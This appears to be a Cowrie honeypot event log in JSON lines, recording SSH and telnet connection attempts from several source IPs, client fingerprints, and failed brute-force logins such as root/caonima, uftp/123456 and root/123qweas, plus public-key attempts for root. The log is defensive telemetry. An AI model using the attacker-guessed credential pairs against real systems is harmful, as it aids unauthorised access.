{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:13:58.506062Z","src_ip":"47.237.167.49","session":"4d9f6c6efe34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52240,"dst_ip":"10.17.0.5","dst_port":23,"session":"835fe344ac54","protocol":"telnet","message":"New connection: 152.42.224.71:52240 (10.17.0.5:23) [session: 835fe344ac54]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:00.224410Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52256,"dst_ip":"10.17.0.5","dst_port":23,"session":"98aca9d54e5e","protocol":"telnet","message":"New connection: 152.42.224.71:52256 (10.17.0.5:23) [session: 98aca9d54e5e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:01.446055Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52244,"dst_ip":"10.17.0.5","dst_port":23,"session":"159463ad25cf","protocol":"telnet","message":"New connection: 152.42.224.71:52244 (10.17.0.5:23) [session: 159463ad25cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:01.690883Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":52262,"dst_ip":"10.17.0.5","dst_port":23,"session":"c03f57cf2c3e","protocol":"telnet","message":"New connection: 152.42.224.71:52262 (10.17.0.5:23) [session: c03f57cf2c3e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:02.410594Z"}
{"eventid":"cowrie.session.connect","src_ip":"182.93.50.90","src_port":34584,"dst_ip":"10.17.0.5","dst_port":22,"session":"f26cb2124631","protocol":"ssh","message":"New connection: 182.93.50.90:34584 (10.17.0.5:22) [session: f26cb2124631]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:07.308534Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:07.312979Z","src_ip":"182.93.50.90","session":"f26cb2124631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:07.532594Z","src_ip":"182.93.50.90","session":"f26cb2124631","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40678,"dst_ip":"10.17.0.5","dst_port":23,"session":"ecbdb4e523fd","protocol":"telnet","message":"New connection: 152.42.224.71:40678 (10.17.0.5:23) [session: ecbdb4e523fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:07.659388Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"caonima","message":"login attempt [root/caonima] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:08.443333Z","src_ip":"182.93.50.90","session":"f26cb2124631","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"uftp","password":"123456","message":"login attempt [uftp/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:08.676276Z","src_ip":"47.237.167.49","session":"4d9f6c6efe34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.195.236.96","src_port":39194,"dst_ip":"10.17.0.5","dst_port":22,"session":"0dfd084764f8","protocol":"ssh","message":"New connection: 103.195.236.96:39194 (10.17.0.5:22) [session: 0dfd084764f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:09.561334Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:09.565590Z","src_ip":"103.195.236.96","session":"0dfd084764f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:09.665512Z","src_ip":"182.93.50.90","session":"f26cb2124631","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:09.816339Z","src_ip":"103.195.236.96","session":"0dfd084764f8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"123qweas","message":"login attempt [root/123qweas] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:10.521903Z","src_ip":"103.195.236.96","session":"0dfd084764f8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":40692,"dst_ip":"10.17.0.5","dst_port":23,"session":"eda0a04a2328","protocol":"telnet","message":"New connection: 152.42.224.71:40692 (10.17.0.5:23) [session: eda0a04a2328]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:11.256947Z"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:11.755042Z","src_ip":"103.195.236.96","session":"0dfd084764f8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"33.9","message":"Connection lost after 33.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:11.767230Z","src_ip":"47.237.167.49","session":"4d9f6c6efe34","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58432,"dst_ip":"10.17.0.5","dst_port":23,"session":"f07a55d7743c","protocol":"telnet","message":"New connection: 152.42.224.71:58432 (10.17.0.5:23) [session: f07a55d7743c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:21.861449Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":58442,"dst_ip":"10.17.0.5","dst_port":23,"session":"a25006795ff2","protocol":"telnet","message":"New connection: 152.42.224.71:58442 (10.17.0.5:23) [session: a25006795ff2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:22.897602Z"}
{"eventid":"cowrie.session.closed","duration":43.24970579147339,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:24.725029Z","src_ip":"152.42.224.71","session":"57314f0dba94","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43486,"dst_ip":"10.17.0.5","dst_port":23,"session":"94d3f3d73429","protocol":"telnet","message":"New connection: 152.42.224.71:43486 (10.17.0.5:23) [session: 94d3f3d73429]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:26.264048Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43504,"dst_ip":"10.17.0.5","dst_port":23,"session":"5a01c94c1cc0","protocol":"telnet","message":"New connection: 152.42.224.71:43504 (10.17.0.5:23) [session: 5a01c94c1cc0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:32.407149Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43494,"dst_ip":"10.17.0.5","dst_port":23,"session":"775e41f9bcdd","protocol":"telnet","message":"New connection: 152.42.224.71:43494 (10.17.0.5:23) [session: 775e41f9bcdd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:33.379241Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43506,"dst_ip":"10.17.0.5","dst_port":23,"session":"f84d1c02fe8f","protocol":"telnet","message":"New connection: 152.42.224.71:43506 (10.17.0.5:23) [session: f84d1c02fe8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:34.274337Z"}
{"eventid":"cowrie.session.closed","duration":40.18436121940613,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:34.549519Z","src_ip":"152.42.224.71","session":"4b154f35ced7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":43520,"dst_ip":"10.17.0.5","dst_port":23,"session":"5931921a61b4","protocol":"telnet","message":"New connection: 152.42.224.71:43520 (10.17.0.5:23) [session: 5931921a61b4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:35.243318Z"}
{"eventid":"cowrie.session.closed","duration":120.0015287399292,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:35.355803Z","src_ip":"152.42.224.71","session":"11e899c95cfc","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.02267861366272,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:35.468402Z","src_ip":"152.42.224.71","session":"98aca9d54e5e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":52.0766921043396,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:37.046791Z","src_ip":"152.42.224.71","session":"ac9fb34d8fd2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48218,"dst_ip":"10.17.0.5","dst_port":23,"session":"f7577d71f264","protocol":"telnet","message":"New connection: 152.42.224.71:48218 (10.17.0.5:23) [session: f7577d71f264]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:37.336085Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48230,"dst_ip":"10.17.0.5","dst_port":23,"session":"627acc28a6d4","protocol":"telnet","message":"New connection: 152.42.224.71:48230 (10.17.0.5:23) [session: 627acc28a6d4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:39.770495Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48242,"dst_ip":"10.17.0.5","dst_port":23,"session":"3e28f2b07a0f","protocol":"telnet","message":"New connection: 152.42.224.71:48242 (10.17.0.5:23) [session: 3e28f2b07a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:42.993978Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":48256,"dst_ip":"10.17.0.5","dst_port":23,"session":"57803a0afc37","protocol":"telnet","message":"New connection: 152.42.224.71:48256 (10.17.0.5:23) [session: 57803a0afc37]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:44.495983Z"}
{"eventid":"cowrie.session.closed","duration":47.39552903175354,"message":"Connection lost after 47 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:47.619782Z","src_ip":"152.42.224.71","session":"835fe344ac54","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00207543373108,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:48.630877Z","src_ip":"152.42.224.71","session":"f2b8fc8c10e8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39098,"dst_ip":"10.17.0.5","dst_port":23,"session":"5ad747515e85","protocol":"telnet","message":"New connection: 152.42.224.71:39098 (10.17.0.5:23) [session: 5ad747515e85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:49.887296Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":39112,"dst_ip":"10.17.0.5","dst_port":23,"session":"0f0984662eb0","protocol":"telnet","message":"New connection: 152.42.224.71:39112 (10.17.0.5:23) [session: 0f0984662eb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:14:53.995615Z"}
{"eventid":"cowrie.session.closed","duration":36.37150430679321,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:02.635442Z","src_ip":"152.42.224.71","session":"94d3f3d73429","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":56.41159129142761,"message":"Connection lost after 56 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:04.070900Z","src_ip":"152.42.224.71","session":"ecbdb4e523fd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":59902,"dst_ip":"10.17.0.5","dst_port":23,"session":"ad708f160253","protocol":"telnet","message":"New connection: 152.42.224.71:59902 (10.17.0.5:23) [session: ad708f160253]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:05.538298Z"}
{"eventid":"cowrie.session.closed","duration":59.421435594558716,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:10.678251Z","src_ip":"152.42.224.71","session":"eda0a04a2328","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":50.222299337387085,"message":"Connection lost after 50 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:12.083642Z","src_ip":"152.42.224.71","session":"f07a55d7743c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51058,"dst_ip":"10.17.0.5","dst_port":23,"session":"7b073527e3ff","protocol":"telnet","message":"New connection: 152.42.224.71:51058 (10.17.0.5:23) [session: 7b073527e3ff]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:13.983997Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":51050,"dst_ip":"10.17.0.5","dst_port":23,"session":"3262eee86b9a","protocol":"telnet","message":"New connection: 152.42.224.71:51050 (10.17.0.5:23) [session: 3262eee86b9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:14.729400Z"}
{"eventid":"cowrie.session.connect","src_ip":"51.75.149.221","src_port":44214,"dst_ip":"10.17.0.5","dst_port":22,"session":"babe47aa7ef5","protocol":"ssh","message":"New connection: 51.75.149.221:44214 (10.17.0.5:22) [session: babe47aa7ef5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:15.210324Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:15.215492Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:15.315743Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"50:c5:ae:66:84:c2:36:63:90:6e:11:4d:f5:10:60:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpkfASh9iqP0PTP+laN2CO0aMLkCrzN/tvere7vGC+nydHLNn6ykXLYAZADy9x5jzHClbmyqquEOgnQiqligcti99AlPMETFVvfgpFZ2gzQyRxrrH2v6lcuAiiB4KLVIUnclymK92xoKxCGhf2PreLexHt2HPDLcy9ye84kp6+OsdLRuNqFDwjmHFmgympB1c6NJ+pHC/Bl7RUYZZURtOTtYW7KVsem/Oh9v0ri92DCU50aM2qH7s9nYqKdsD9gWxzpa8KnhTPjqXQyMPaQiM0luEk0k1V2WmE6128w0MJ0Xb4anzF9upPKqERqVPGYQexa9ymLX6kpgv7JsJeo58r","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 50:c5:ae:66:84:c2:36:63:90:6e:11:4d:f5:10:60:17","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:15.767179Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"50:c5:ae:66:84:c2:36:63:90:6e:11:4d:f5:10:60:17","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCpkfASh9iqP0PTP+laN2CO0aMLkCrzN/tvere7vGC+nydHLNn6ykXLYAZADy9x5jzHClbmyqquEOgnQiqligcti99AlPMETFVvfgpFZ2gzQyRxrrH2v6lcuAiiB4KLVIUnclymK92xoKxCGhf2PreLexHt2HPDLcy9ye84kp6+OsdLRuNqFDwjmHFmgympB1c6NJ+pHC/Bl7RUYZZURtOTtYW7KVsem/Oh9v0ri92DCU50aM2qH7s9nYqKdsD9gWxzpa8KnhTPjqXQyMPaQiM0luEk0k1V2WmE6128w0MJ0Xb4anzF9upPKqERqVPGYQexa9ymLX6kpgv7JsJeo58r","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:15.771317Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"af:d0:e1:c3:ad:34:cf:da:e5:df:b3:7a:d4:89:8c:5d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAACAQCr4/Y+K4/7LTtBKQJHGuIhX9FNFxfX87K8Hu5E26uDJsfvz8mfx96isGQ+AtRXZHxSru3Gju3zHP6V5ef2fCTkDZkrcuHPdjPMP08045Wgn88BZZ+lYdJnxtLxMrIu3AxSsqr3qxmJ6wOD3hHRBG1rQZqn7NZ0WyTf2pgJ8UHhgLF+jbsCQtbTMWDHSKG6TstAvu/64enXFJc8+W0VlimELi6cID1O6+nTAO0auWtFDyxjvm5SZHuL0vJ2QhXVbubq6uruhUoToWm+Jxyl2RcD1QOCaIMskb6T65gYOuzYIZVq4Xgc++QP5/zPEw9BxL0LeOx92e/odgfiwgeUg5cO621t00yU+I8btbPQBm0lt3h/En7exqvJwpbiNw+G7GgpQyLViiWAP9oGuoS4A6SZQLsOo26cYB0b/xLO1pK/WHvqoDdyreVqjVUAf+3txu+gYitI1Pv92384kBYEUCkI4ex1d1H+DAUTeqT+4T93QXVcyVrOu/3nZj2M3V8oOXsYEuM1ehF6N7c8hGY4kc/ZbNOpQry56LvAMxaWvgQmSy7K+wY/6iHmFSmMgGJbbwkWQK6owka6enuO6RmRy5lTRzR0j7sSeRnjwuBUxi/subn65h/6KiDz03qX6d1vE2M7mZxELXfNk3/a0g5+63eLqEJchY/jRobVvlMLl3IrtQ==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint af:d0:e1:c3:ad:34:cf:da:e5:df:b3:7a:d4:89:8c:5d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T03:15:15.869208Z","src_ip":"51.75.149.221","session":"babe47aa7ef5","protocol":"ssh"}
